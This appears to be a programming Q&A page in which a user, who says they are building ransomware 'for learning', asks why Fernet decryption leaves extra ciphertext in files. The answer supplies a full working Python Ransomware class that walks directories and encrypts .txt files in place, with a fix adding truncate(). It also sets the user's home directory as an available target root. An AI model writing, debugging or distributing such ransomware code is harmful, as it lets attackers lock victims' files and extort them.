Search code examples
pythoncryptographyfernet

Python cryptography.fernet file decrypt


I am working on Ransomware for learning.

So I Copy-and-pasted this and edited it like this but When I encrypt and decrypt a text file, it appends a string that looks like a random string. How can I fix this issue?

like:

Hello, World!

to

Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==

with this keyfile:

aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=

Solution

  • the problem is that you encrypt then decrypt. Your encryption and decryption function is working fine the issue is that you always seek to the beginning of the file to write any changes this will work fine with encryption and will work fine with decryption if the the plaintext and ciphertext is of same size(no padding) but will place decrypted plaintext that is not as same same size of ciphertext at beginning of file and leave the rest of file unchanged so you need to truncate the remainder part of ciphertext.

    import os
    from os.path import expanduser
    from cryptography.fernet import Fernet
    
    
    class Ransomware(object):
        def __init__(self):
            self.key = None
            self.cryptor = None
            self.file_ext_targets = ["txt"]  # Type of files, you're going to encrypt
    
        def generate_key(self):
            self.key = Fernet.generate_key()
            self.cryptor = Fernet(self.key)
    
        def read_key(self, keyfile_name):
            with open(keyfile_name, "rb") as f:
                self.key = f.read()
                self.cryptor = Fernet(self.key)
    
        def write_key(self, keyfile_name):
            print(self.key)
            with open(keyfile_name, "wb") as f:
                f.write(self.key)
    
        def crypt_root(self, root_dir, encrypted=False):
            for root, _, files in os.walk(root_dir):
                for f in files:
                    abs_file_path = os.path.join(root, f)
                    if not abs_file_path.split(".")[-1] in self.file_ext_targets:
                        continue
                    self.crypt_file(abs_file_path, encrypted=encrypted)
    
        def crypt_file(self, file_path, encrypted=False):
    
    
            with open(file_path, "rb+") as f:
                _data = f.read()
                if not encrypted:
                    # Encrypt
                    print()
                    data = self.cryptor.encrypt(_data)
                    f.seek(0)
                    f.write(data)
    
                else:
                    data = self.cryptor.decrypt(_data)
                    print(f"File content before encryption: {data}")
                    f.seek(0)
                    f.write(data)
                    f.truncate()
    
    sys_root = expanduser("~")
    local_root = "."
    
    keyfile = "./keyfile"
    
    ransom = Ransomware()
    
    
    def encrypt():
        ransom.generate_key()
        ransom.write_key("keyfile")
        ransom.crypt_root(local_root)
    
    
    def decrypt():
        ransom.read_key(keyfile)
        ransom.crypt_root(local_root, encrypted=True)
    encrypt()
    decrypt()